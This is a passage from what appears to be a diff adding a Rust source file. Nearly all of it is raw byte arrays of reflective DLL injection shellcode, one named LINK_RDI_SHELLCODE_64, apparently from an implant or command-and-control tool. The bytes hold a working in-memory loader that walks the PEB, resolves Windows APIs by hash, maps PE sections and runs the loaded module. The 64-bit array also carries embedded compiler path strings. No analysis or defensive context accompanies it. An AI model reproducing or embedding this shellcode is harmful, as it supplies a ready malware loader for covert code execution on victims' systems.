0xC6, 0x14, 0x89, 0x74, 0x24, 0x20, 0x85, 0xC0, 0x75, 0x80, 0x8B, 0x6C, + 0x24, 0x14, 0x83, 0xBD, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x74, 0x73, 0x8B, 0xBD, 0xE0, 0x00, 0x00, + 0x00, 0x83, 0xC7, 0x04, 0x03, 0xFB, 0x89, 0x7C, 0x24, 0x20, 0x83, 0x3F, 0x00, 0x74, 0x5F, 0x8B, + 0x07, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x2C, 0x8B, 0x77, 0x08, 0x8B, 0xE8, 0x8B, 0x47, 0x0C, + 0x03, 0xF3, 0x03, 0xC3, 0x89, 0x44, 0x24, 0x24, 0x83, 0x3E, 0x00, 0x74, 0x31, 0x8B, 0x7C, 0x24, + 0x2C, 0x8B, 0x00, 0x85, 0xC0, 0x79, 0x05, 0x0F, 0xB7, 0xC0, 0xEB, 0x05, 0x83, 0xC0, 0x02, 0x03, + 0xC3, 0x50, 0x55, 0xFF, 0xD7, 0x89, 0x06, 0x83, 0xC6, 0x04, 0x8B, 0x44, 0x24, 0x24, 0x83, 0xC0, + 0x04, 0x89, 0x44, 0x24, 0x24, 0x83, 0x3E, 0x00, 0x75, 0xD7, 0x8B, 0x7C, 0x24, 0x20, 0x83, 0xC7, + 0x20, 0x89, 0x7C, 0x24, 0x20, 0x83, 0x3F, 0x00, 0x75, 0xA5, 0x8B, 0x6C, 0x24, 0x14, 0x0F, 0xB7, + 0x45, 0x14, 0x33, 0xC9, 0x33, 0xFF, 0x66, 0x3B, 0x4D, 0x06, 0x0F, 0x83, 0xB0, 0x00, 0x00, 0x00, + 0x8D, 0x75, 0x3C, 0x03, 0xF0, 0x83, 0x7E, 0xEC, 0x00, 0x0F, 0x84, 0x91, 0x00, 0x00, 0x00, 0x8B, + 0x0E, 0x33, 0xD2, 0x42, 0x8B, 0xC1, 0xC1, 0xE8, 0x1D, 0x23, 0xC2, 0x8B, 0xD1, 0xC1, 0xEA, 0x1E, + 0x83, 0xE2, 0x01, 0xC1, 0xE9, 0x1F, 0x85, 0xC0, 0x75, 0x18, 0x85, 0xD2, 0x75, 0x0D, 0x6A, 0x08, + 0x58, 0x6A, 0x01, 0x85, 0xC9, 0x59, 0x0F, 0x44, 0xC1, 0xEB, 0x3D, 0x6A, 0x04, 0x58, 0x6A, 0x02, + 0xEB, 0xF1, 0x85, 0xD2, 0x75, 0x1E, 0x85, 0xC9, 0x75, 0x05, 0x6A, 0x10, 0x58, 0xEB, 0x29, 0x85, + 0xD2, 0x75, 0x11, 0x85, 0xC9, 0x74, 0x07, 0xB8, 0x80, 0x00, 0x00, 0x00, 0xEB, 0x1A, 0x8B, 0x44, + 0x24, 0x10, 0xEB, 0x18, 0x85, 0xC9, 0x75, 0x04, 0x6A, 0x20, 0xEB, 0xE0, 0x8B, 0x44, 0x24, 0x10, + 0x85, 0xC9, 0x6A, 0x40, 0x5A, 0x0F, 0x45, 0xC2, 0x89, 0x44, 0x24, 0x10, 0xF7, 0x06, 0x00, 0x00, + 0x00, 0x04, 0x74, 0x09, 0x0D, 0x00, 0x02, 0x00, 0x00, 0x89, 0x44, 0x24, 0x10, 0x8D, 0x4C, 0x24, + 0x10, 0x51, 0x50, 0x8B, 0x46, 0xE8, 0xFF, 0x76, 0xEC, 0x03, 0xC3, 0x50, 0xFF, 0x54, 0x24, 0x40, + 0x0F, 0xB7, 0x45, 0x06, 0x47, 0x83, 0xC6, 0x28, 0x3B, 0xF8, 0x0F, 0x82, 0x55, 0xFF, 0xFF, 0xFF, + 0x6A, 0x00, 0x6A, 0x00, 0x6A, 0xFF, 0xFF, 0x54, 0x24, 0x40, 0x83, 0xBD, 0xC4, 0x00, 0x00, 0x00, + 0x00, 0x74, 0x26, 0x8B, 0x85, 0xC0, 0x00, 0x00, 0x00, 0x8B, 0x74, 0x18, 0x0C, 0x8B, 0x06, 0x85, + 0xC0, 0x74, 0x16, 0x33, 0xED, 0x45, 0x6A, 0x00, 0x55, 0x53, 0xFF, 0xD0, 0x8D, 0x76, 0x04, 0x8B, + 0x06, 0x85, 0xC0, 0x75, 0xF1, 0x8B, 0x6C, 0x24, 0x14, 0x33, 0xC0, 0x40, 0x50, 0x50, 0x8B, 0x45, + 0x28, 0x53, 0x03, 0xC3, 0xFF, 0xD0, 0x83, 0xBC, 0x24, 0x84, 0x00, 0x00, 0x00, 0x00, 0x0F, 0x84, + 0xAD, 0x00, 0x00, 0x00, 0x83, 0x7D, 0x7C, 0x00, 0x0F, 0x84, 0xA3, 0x00, 0x00, 0x00, 0x8B, 0x55, + 0x78, 0x03, 0xD3, 0x8B, 0x6A, 0x18, 0x85, 0xED, 0x0F, 0x84, 0x93, 0x00, 0x00, 0x00, 0x83, 0x7A, + 0x14, 0x00, 0x0F, 0x84, 0x89, 0x00, 0x00, 0x00, 0x8B, 0x7A, 0x20, 0x8B, 0x4A, 0x24, 0x03, 0xFB, + 0x83, 0x64, 0x24, 0x34, 0x00, 0x03, 0xCB, 0x85, 0xED, 0x74, 0x76, 0x8B, 0x37, 0xC7, 0x44, 0x24, + 0x1C, 0x00, 0x00, 0x00, 0x00, 0x03, 0xF3, 0x74, 0x68, 0x8A, 0x06, 0x84, 0xC0, 0x74, 0x1C, 0x8B, + 0x6C, 0x24, 0x1C, 0x0F, 0xBE, 0xC0, 0x03, 0xC5, 0xC1, 0xC8, 0x0D, 0x46, 0x8B, 0xE8, 0x8A, 0x06, + 0x84, 0xC0, 0x75, 0xEF, 0x89, 0x6C, 0x24, 0x1C, 0x8B, 0x6A, 0x18, 0x8B, 0x84, 0x24, 0x84, 0x00, + 0x00, 0x00, 0x3B, 0x44, 0x24, 0x1C, 0x75, 0x04, 0x85, 0xC9, 0x75, 0x15, 0x8B, 0x44, 0x24, 0x34, + 0x83, 0xC7, 0x04, 0x40, 0x83, 0xC1, 0x02, 0x89, 0x44, 0x24, 0x34, 0x3B, 0xC5, 0x72, 0xAC, 0xEB, + 0x20, 0x0F, 0xB7, 0x09, 0x8B, 0x42, 0x1C, 0xFF, 0xB4, 0x24, 0x8C, 0x00, 0x00, 0x00, 0xFF, 0xB4, + 0x24, 0x8C, 0x00, 0x00, 0x00, 0x8D, 0x04, 0x88, 0x8B, 0x04, 0x18, 0x03, 0xC3, 0xFF, 0xD0, 0x59, + 0x59, 0x8B, 0xC3, 0xEB, 0x02, 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x6C, 0xC3, 0x83, + 0xEC, 0x10, 0x64, 0xA1, 0x30, 0x00, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8B, 0x40, 0x0C, 0x57, 0x89, + 0x4C, 0x24, 0x18, 0x8B, 0x70, 0x0C, 0xE9, 0x8A, 0x00, 0x00, 0x00, 0x8B, 0x46, 0x30, 0x33, 0xC9, + 0x8B, 0x5E, 0x2C, 0x8B, 0x36, 0x89, 0x44, 0x24, 0x14, 0x8B, 0x42, 0x3C, 0x8B, 0x6C, 0x10, 0x78, + 0x89, 0x6C, 0x24, 0x10, 0x85, 0xED, 0x74, 0x6D, 0xC1, 0xEB, 0x10, 0x33, 0xFF, 0x85, 0xDB, 0x74, + 0x1F, 0x8B, 0x6C, 0x24, 0x14, 0x8A, 0x04, 0x2F, 0xC1, 0xC9, 0x0D, 0x3C, 0x61, 0x0F, 0xBE, 0xC0, + 0x7C, 0x03, 0x83, 0xC1, 0xE0, 0x03, 0xC8, 0x47, 0x3B, 0xFB, 0x72, 0xE9, 0x8B, 0x6C, 0x24, 0x10, + 0x8B, 0x44, 0x2A, 0x20, 0x33, 0xDB, 0x8B, 0x7C, 0x2A, 0x18, 0x03, 0xC2, 0x89, 0x7C, 0x24, 0x14, + 0x85, 0xFF, 0x74, 0x31, 0x8B, 0x28, 0x33, 0xFF, 0x03, 0xEA, 0x83, 0xC0, 0x04, 0x89, 0x44, 0x24, + 0x1C, 0x0F, 0xBE, 0x45, 0x00, 0xC1, 0xCF, 0x0D, 0x03, 0xF8, 0x45, 0x80, 0x7D, 0xFF, 0x00, 0x75, + 0xF0, 0x8D, 0x04, 0x0F, 0x3B, 0x44, 0x24, 0x18, 0x74, 0x20, 0x8B, 0x44, 0x24, 0x1C, 0x43, 0x3B, + 0x5C, 0x24, 0x14, 0x72, 0xCF, 0x8B, 0x56, 0x18, 0x85, 0xD2, 0x0F, 0x85, 0x6B, 0xFF, 0xFF, 0xFF, + 0x33, 0xC0, 0x5F, 0x5E, 0x5D, 0x5B, 0x83, 0xC4, 0x10, 0xC3, 0x8B, 0x74, 0x24, 0x10, 0x8B, 0x44, + 0x16, 0x24, 0x8D, 0x04, 0x58, 0x0F, 0xB7, 0x0C, 0x10, 0x8B, 0x44, 0x16, 0x1C, 0x8D, 0x04, 0x88, + 0x8B, 0x04, 0x10, 0x03, 0xC2, 0xEB, 0xDB, +]; + +pub static LINK_RDI_SHELLCODE_64: &[u8] = &[ + 0x80, 0x12, 0x00, 0x00, 0xa5, 0x12, 0x00, 0x00, 0x2c, 0x33, 0x00, 0x00, 0x32, 0x13, 0x00, 0x00, + 0x2e, 0x14, 0x00, 0x00, 0x34, 0x33, 0x00, 0x00, 0x3e, 0x14, 0x00, 0x00, 0x9a, 0x14, 0x00, 0x00, + 0x44, 0x33, 0x00, 0x00, 0x9a, 0x14, 0x00, 0x00, 0x38, 0x15, 0x00, 0x00, 0x54, 0x33, 0x00, 0x00, + 0x38, 0x15, 0x00, 0x00, 0x7e, 0x25, 0x00, 0x00, 0x6c, 0x33, 0x00, 0x00, 0x7e, 0x25, 0x00, 0x00, + 0xc3, 0x25, 0x00, 0x00, 0x84, 0x33, 0x00, 0x00, 0xc3, 0x25, 0x00, 0x00, 0x68, 0x28, 0x00, 0x00, + 0x90, 0x33, 0x00, 0x00, 0x68, 0x28, 0x00, 0x00, 0xc4, 0x29, 0x00, 0x00, 0x9c, 0x33, 0x00, 0x00, + 0xc4, 0x29, 0x00, 0x00, 0x31, 0x2a, 0x00, 0x00, 0xa8, 0x33, 0x00, 0x00, 0x31, 0x2a, 0x00, 0x00, + 0x55, 0x2a, 0x00, 0x00, 0x2c, 0x33, 0x00, 0x00, 0x55, 0x2a, 0x00, 0x00, 0xc0, 0x2b, 0x00, 0x00, + 0xb8, 0x33, 0x00, 0x00, 0xc0, 0x2b, 0x00, 0x00, 0x85, 0x2c, 0x00, 0x00, 0xd0, 0x33, 0x00, 0x00, + 0x85, 0x2c, 0x00, 0x00, 0x9b, 0x2c, 0x00, 0x00, 0xe8, 0x33, 0x00, 0x00, 0xbe, 0x2c, 0x00, 0x00, + 0x65, 0x32, 0x00, 0x00, 0xf0, 0x33, 0x00, 0x00, 0x70, 0x32, 0x00, 0x00, 0xfe, 0x32, 0x00, 0x00, + 0x1c, 0x33, 0x00, 0x00, 0x10, 0x33, 0x00, 0x00, 0x1b, 0x33, 0x00, 0x00, 0x2c, 0x33, 0x00, 0x00, + 0x2f, 0x72, 0x75, 0x73, 0x74, 0x63, 0x2f, 0x62, 0x64, 0x62, 0x30, 0x66, 0x61, 0x33, 0x65, 0x65, + 0x35, 0x66, 0x66, 0x62, 0x34, 0x63, 0x63, 0x31, 0x61, 0x31, 0x62, 0x35, 0x33, 0x63, 0x62, 0x65, + 0x38, 0x33, 0x34, 0x34, 0x61, 0x32, 0x62, 0x38, 0x33, 0x62, 0x31, 0x61, 0x65, 0x32, 0x61, 0x5c, + 0x6c, 0x69, 0x62, 0x72, 0x61, 0x72, 0x79, 0x5c, 0x63, 0x6f, 0x72, 0x65, 0x5c, 0x73, 0x72, 0x63, + 0x5c, 0x73, 0x74, 0x72, 0x5c, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x2e, 0x72, 0x73, 0x00, + 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xda, 0x06, 0x00, 0x00, 0x49, 0x00, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb3, 0x05, 0x00, 0x00, 0x14, 0x00, 0x00, 0x00, + 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xb3, 0x05, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, 0xc0, 0x10, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x4f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa7, 0x05, 0x00, 0x00, 0x21, 0x00, 0x00, 0x00, + 0x73, 0x72, 0x63, 0x5c, 0x75, 0x74, 0x69, 0x6c, 0x73, 0x2e, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, + 0x70, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x01, 0x00, 0x00, 0x19, 0x00, 0x00, 0x00, 0x70, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x98, 0x01, 0x00, 0x00, 0x30, 0x00, 0x00, 0x00, + 0x70, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x8f, 0x01, 0x00, 0x00, 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0x69, 0x62, 0x72, + 0x61, 0x72, 0x79, 0x5c, 0x63, 0x6f, 0x72, 0x65, 0x5c, 0x73, 0x72, 0x63, 0x5c, 0x73, 0x74, 0x72, + 0x5c, 0x70, 0x61, 0x74, 0x74, 0x65, 0x72, 0x6e, 0x2e, 0x72, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x42, 0x05, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x42, 0x05, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, + 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x35, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, + 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x63, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, + 0xcc, 0x11, 0x00, 0x40, 0x01, 0x00, 0x00, 0x00, 0x1f, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x64, 0x06, 0x00, 0x00, 0x15, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x80, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x48, 0x83, 0xec, 0x28, 0x4c, 0x39, 0xca, 0x75, 0x15, 0x48, 0x89, 0xd0, 0x4c, 0x89, 0xc2, 0x49, + 0x89, 0xc0, 0xe8, 0x04, 0x1a, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x94, 0xc0, 0xeb, 0x02, 0x31, 0xc0, + 0x48, 0x83, 0xc4, 0x28, 0xc3, 0x31, 0xc0, 0x49, 0x39, 0xc0, 0x74, 0x0d, 0x44, 0x8a, 0x0c, 0x02, + 0x44, 0x88, 0x0c, 0x01, 0x48, 0xff, 0xc0, 0xeb, 0xee, 0xc3, 0xb8, 0x05, 0x15, 0x00, 0x00, 0x45, + 0x31, 0xc0, 0x49, 0x39, 0xd0, 0x73, 0x2f, 0x46, 0x8a, 0x0c, 0x01, 0x45, 0x84, 0xc9, 0x75, 0x05, + 0x49, 0xff, 0xc0, 0xeb, 0xed, 0x45, 0x8d, 0x51, 0xe0, 0x41, 0x80, 0xf9, 0x61, 0x45, 0x0f, 0xb6, + 0xc9, 0x45, 0x0f, 0xb6, 0xd2, 0x45, 0x0f, 0x42, 0xd1, 0x44, 0x6b, 0xc8, 0x21, 0x41, 0x0f, 0xb6, + 0xc2, 0x44, 0x01, 0xc8, 0xeb, 0xda, 0xc3, 0x44, 0x8b, 0x51, 0x08, 0x45, 0x85, 0xd2, 0x74, 0x0c, + 0x0f, 0xb7, 0xd2, 0xb0, 0x01, 0x41, 0x39, 0xd2, 0x77, 0x04, 0x73, 0x03, 0x31, 0xc0, 0xc3, 0x8b, + 0x51, 0x0c, 0x45, 0x0f, 0xb7, 0xc0, 0x44, 0x39, 0xc2, 0x77, 0xf3, 0x72, 0xef, 0x66, 0x83, 0xb9, + 0x18, 0x01, 0x00, 0x00, 0x00, 0x75, 0xe7, 0x41, 0x0f, 0xb7, 0xc1, 0x39, 0x41, 0x10, 0x0f, 0x93, + 0xc0, 0xc3, 0x41, 0x56, 0x56, 0x57, 0x53, 0x48, 0x81, 0xec, 0x28, 0x08, 0x00, 0x00, 0x48, 0x8b, + 0xb4, 0x24, 0x70, 0x08, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x49, 0x39, 0xf1, + 0x0f, 0x82, 0x9f, 0x00, 0x00, 0x00, 0x48, 0x85, 0xd2, 0x0f, 0x84, 0x96, 0x00, 0x00, 0x00, 0x4d, + 0x85, 0xc9, 0x0f, 0x84, 0x8d, 0x00, 0x00, 0x00, 0x48, 0x89, 0xd7, 0x48, 0x29, 0xf7, 0x0f, 0x82, + 0x81, 0x00, 0x00, 0x00, 0x45, 0x31, 0xd2, 0x49, 0x81, 0xfa, 0x00, 0x01, 0x00, 0x00, 0x74, 0x0a, + 0x4a, 0x89, 0x74, 0xd4, 0x28, 0x49, 0xff, 0xc2, 0xeb, 0xed, 0x48, 0xff, 0xce, 0x45, 0x31, 0xd2, + 0x49, 0x89, 0xf3, 0x48, 0x89, 0xf3, 0x48, 0x83, 0xeb, 0x01, 0x72, 0x17, 0x4d, 0x39, 0xd1, 0x74, + 0x61, 0x47, 0x0f, 0xb6, 0x34, 0x10, 0x49, 0xff, 0xc2, 0x4e, 0x89, 0x5c, 0xf4, 0x28, 0x49, 0x89, + 0xdb, 0xeb, 0xe3, 0x31, 0xdb, 0x48, 0x39, 0xfb, 0x77, 0x3b, 0x4c, 0x8d, 0x34, 0x19, 0x49, 0x89, + 0xf2, 0x4d, 0x85, 0xd2, 0x78, 0x2c, 0x4d, 0x39, 0xca, 0x73, 0x43, 0x4e, 0x8d, 0x1c, 0x13, 0x49, + 0x39, 0xd3, 0x73, 0x49, 0x47, 0x0f, 0xb6, 0x1c, 0x16, 0x47, 0x38, 0x1c, 0x10, 0x75, 0x05, 0x49, + 0xff, 0xca, 0xeb, 0xdd, 0x4e, 0x8b, 0x54, 0xdc, 0x28, 0x49, 0x83, 0xfa, 0x01, 0x4c, 0x11, 0xd3, + 0xeb, 0xc3, 0x48, 0x89, 0xd8, 0x48, 0x81, 0xc4, 0x28, 0x08, 0x00, 0x00, 0x5b, 0x5f, 0x5e, 0x41, + 0x5e, 0xc3, 0x4c, 0x8d, 0x05, 0xa7, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0xc9, 0xeb, 0x0a, 0x4c, 0x8d, + 0x05, 0x6b, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0xd1, 0x4c, 0x89, 0xca, 0xeb, 0x0a, 0x4c, 0x8d, 0x05, + 0x74, 0xfd, 0xff, 0xff, 0x4c, 0x89, 0xd9, 0xe8, 0xe4, 0x1e, 0x00, 0x00, 0x0f, 0x0b, 0x31, 0xc0, + 0x49, 0x39, 0xc0, 0x74, 0x08, 0x88, 0x14, 0x01, 0x48, 0xff, 0xc0, 0xeb, 0xf3, 0xc3, 0x41, 0x57, + 0x41, 0x56, 0x56, 0x57, 0x53, 0x48, 0x83, 0xec, 0x20, 0x89, 0xcf, 0x65, 0x48, 0x8b, 0x04, 0x25, + 0x60, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x40, 0x18, 0x48, 0x8b, 0x58, 0x20, 0x4c, 0x8b, 0x70, 0x28, + 0x31, 0xf6, 0x48, 0x83, 0x7b, 0x30, 0x00, 0x74, 0x22, 0x4c, 0x8b, 0x3b, 0x0f, 0xb7, 0x53, 0x48, + 0x48, 0x8b, 0x4b, 0x50, 0xe8, 0x41, 0xfe, 0xff, 0xff, 0x39, 0xf8, 0x74, 0x0a, 0x4c, 0x39, 0xf3, + 0x4c, 0x89, 0xfb, 0x75, 0xdd, 0xeb, 0x04, 0x48, 0x8b, 0x73, 0x20, 0x48, 0x89, 0xf0, 0x48, 0x83, + 0xc4, 0x20, 0x5b, 0x5f, 0x5e, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, + 0x41, 0x54, 0x56, 0x57, 0x55, 0x53, 0x48, 0x83, 0xec, 0x28, 0x48, 0x63, 0x41, 0x3c, 0x8b, 0x84, + 0x08, 0x88, 0x00, 0x00, 0x00, 0x48, 0x01, 0xc8, 0x74, 0x68, 0x89, 0xd7, 0x48, 0x89, 0xce, 0x44, + 0x8b, 0x78, 0x14, 0x8b, 0x48, 0x1c, 0x44, 0x8b, 0x60, 0x20, 0x44, 0x8b, 0x68, 0x24, 0x48, 0x01, + 0xf1, 0x48, 0x89, 0x4c, 0x24, 0x20, 0x49, 0x01, 0xf4, 0x49, 0x01, 0xf5, 0x31, 0xdb, 0x45, 0x31, + 0xf6, 0x4d, 0x39, 0xfe, 0x74, 0x3e, 0x4c, 0x89, 0xf5, 0x43, 0x8b, 0x0c, 0xb4, 0x48, 0x01, 0xf1, + 0x48, 0xc7, 0xc2, 0xff, 0xff, 0xff, 0xff, 0x80, 0x7c, 0x11, 0x01, 0x00, 0x48, 0x8d, 0x52, 0x01, + 0x75, 0xf5, 0x4c, 0x8d, 0x75, 0x01, 0xe8, 0xaf, 0xfd, 0xff, 0xff, 0x39, 0xf8, 0x75, 0xd2, 0x41, + 0x0f, 0xb7, 0x44, 0x6d, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x20, 0x8b, 0x1c, 0x81, 0x48, 0x01, 0xf3, + 0xeb, 0x02, 0x31, 0xdb, 0x48, 0x89, 0xd8, 0x48, 0x83, 0xc4, 0x28, 0x5b, 0x5d, 0x5f, 0x5e, 0x41, + 0x5c, 0x41, 0x5d, 0x41, 0x5e, 0x41, 0x5f, 0xc3, 0x41, 0x57, 0x41, 0x56, 0x41, 0x55, 0x41, 0x54, + 0x56, 0x57, 0x55, 0x53, 0x48, 0x81, 0xec, 0x18, 0x01, 0x00, 0x00, 0x48, 0x89, 0xd6, 0x31, 0xd2, + 0x66, 0x81, 0x39, 0x4d, 0x5a, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x7d, 0x0f, 0x00, 0x00, + 0x4d, 0x89, 0xc6, 0x4c, 0x63, 0x41, 0x3c, 0x31, 0xd2, 0x41, 0x81, 0x3c, 0x08, 0x50, 0x45, 0x00, + 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x0f, 0x85, 0x61, 0x0f, 0x00, 0x00, 0x48, 0x89, 0x8c, 0x24, + 0xe8, 0x00, 0x00, 0x00, 0x49, 0x01, 0xc8, 0x41, 0x0f, 0xb7, 0x40, 0x14, 0x49, 0x8d, 0x14, 0x00, + 0x49, 0x8d, 0x0c, 0x00, 0x48, 0x83, 0xc1, 0x18, 0x41, 0x0f, 0xb7, 0x40, 0x06, 0x66, 0x89, 0x44, + 0x24, 0x5e, 0x49, 0x8d, 0x46, 0xff, 0x48, 0x89, 0x84, 0x24, 0xa0, 0x00, 0x00, 0x00, 0x31, 0xc0, + 0x4d, 0x89, 0xf0, 0x49, 0x83, 0xe8, 0x04, 0x4c, 0x0f, 0x42, 0xc0, 0x4c, 0x89, 0x84, 0x24, 0xe0, + 0x00, 0x00, 0x00, 0x49, 0x8d, 0x46, 0x0f, 0x48, 0x89, 0x84, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x48, + 0x8d, 0x46, 0x01, 0x48, 0x89, 0x84, 0x24, 0xd0, 0x00, 0x00, 0x00, 0x49, 0x8d, 0x46, 0x3f, 0x48, + 0x89, 0x84, 0x24, 0xf0, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0xf9, 0xff, 0xff, 0xff, 0x4c, 0x29, + 0xf0, 0x48, 0x89, 0x84, 0x24, 0x90, 0x00, 0x00, 0x00, 0x44, 0x89, 0xf0, 0x83, 0xe0, 0x03, 0x4d, + 0x89, 0xf0, 0x49, 0x83, 0xe0, 0xfc, 0x4c, 0x01, 0xf2, 0x48, 0x83, 0xc2, 0x17, 0x48, 0x89, 0x94, + 0x24, 0xa8, 0x00, 0x00, 0x00, 0x31, 0xd2, 0x45, 0x31, 0xc9, 0x48, 0x89, 0x8c, 0x24, 0x98, 0x00, + 0x00, 0x00, 0x48, 0x89, 0x4c, 0x24, 0x50, 0x4c, 0x89, 0x74, 0x24, 0x48, 0x48, 0x89, 0x74, 0x24, + 0x40, 0x48, 0x89, 0x84, 0x24, 0xd8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x84, 0x24, 0xc8, 0x00, 0x00, + 0x00, 0x66, 0x44, 0x3b, 0x4c, 0x24, 0x5e, 0x0f, 0x84, 0x6a, 0x0e, 0x00, 0x00, 0x4d, 0x85, 0xf6, + 0x0f, 0x84, 0x67, 0x0e, 0x00, 0x00, 0x44, 0x89, 0x8c, 0x24, 0x8c, 0x00, 0x00, 0x00, 0x48, 0x89, + 0x54, 0x24, 0x70, 0x49, 0x83, 0xfe, 0x07, 0x77, 0x27, 0x49, 0x83, 0xfe, 0x01, 0x75, 0x39, 0x8a, + 0x06, 0x31, 0xc9, 0x48, 0x83, 0xf9, 0x08, 0x74, 0x74, 0x48, 0x8d, 0x51, 0x01, 0x4c, 0x8b, 0x44, + 0x24, 0x50, 0x41, 0x38, 0x04, 0x08, 0x48, 0x89, 0xd1, 0x75, 0xe8, 0xe9, 0x3a, 0x0e, 0x00, 0x00, + 0x41, 0xb9, 0x08, 0x00, 0x00, 0x00, 0x48, 0x89, 0xf1, 0x4c, 0x89, 0xf2, 0x4c, 0x8b, 0x44, 0x24, + 0x50, 0xe8, 0xda, 0xfb, 0xff, 0xff, 0xeb, 0x3d, 0x49, 0x83, 0xfe, 0x02, 0x75, 0x71, 0xbf, 0x08, + 0x00, 0x00, 0x00, 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0xfe, 0x4c, 0x39, 0xf7, 0x72, 0x1f, + 0x48, 0x8d, 0x7e, 0xff, 0x48, 0x8d, 0x59, 0x01, 0x4c, 0x89, 0xf2, 0x4c, 0x8b, 0x44, 0x24, 0x40, + 0x4d, 0x89, 0xf1, 0xe8, 0xa8, 0xfb, 0xff, 0xff, 0x48, 0x89, 0xd9, 0x84, 0xc0, 0x74, 0xd9, 0x4c, + 0x39, 0xf6, 0x0f, 0x93, 0xc0, 0x84, 0xc0, 0x0f, 0x85, 0xdd, 0x0d, 0x00, 0x00, 0x44, 0x8b, 0x8c, + 0x24, 0x8c, 0x00, 0x00, 0x00, 0x41, 0xff, 0xc1, 0x48, 0x83, 0x44, 0x24, 0x50, 0x28, 0x48, 0x8b, + 0x54, 0x24, 0x70, 0x48, 0x83, 0xc2, 0x28, 0x48, 0x83, 0x84, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x28, + 0x4c, 0x8b, 0x74, 0x24, 0x48, 0x48, 0x8b, 0x74, 0x24, 0x40, 0xe9, 0x22, 0xff, 0xff, 0xff, 0x8a, + 0x06, 0x88, 0x44, 0x24, 0x3d, 0x48, 0x8b, 0x8c, 0x24, 0xa8, 0x00, 0x00, 0x00, 0x4c, 0x89, 0xf0, + 0x48, 0x8b, 0x94, 0x24, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x39, 0xc2, 0x0f, 0x83, 0xa9, 0x08, 0x00, + 0x00, 0x4c, 0x8d, 0x40, 0xff, 0x4d, 0x39, 0xf0, 0x0f, 0x83, 0xbe, 0x0d, 0x00, 0x00, 0x49, 0x89, + 0xcd, 0x8a, 0x5c, 0x06, 0xff, 0x48, 0xff, 0xc9, 0x4c, 0x89, 0xc0, 0x3a, 0x5c, 0x24, 0x3d, 0x74, + 0xd7, 0x48, 0x83, 0xbc, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x09, 0x0f, 0x83, 0x3e, 0xff, 0xff, 0xff, + 0x48, 0x8b, 0x4c, 0x24, 0x50, 0x48, 0x89, 0x8c, 0x24, 0xf8, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x84, + 0x24, 0x00, 0x01, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xd0, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x84, 0x24, 0x08, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x84, 0x24, 0xa0, 0x00, 0x00, + 0x00, 0x48, 0x89, 0x84, 0x24, 0x10, 0x01, 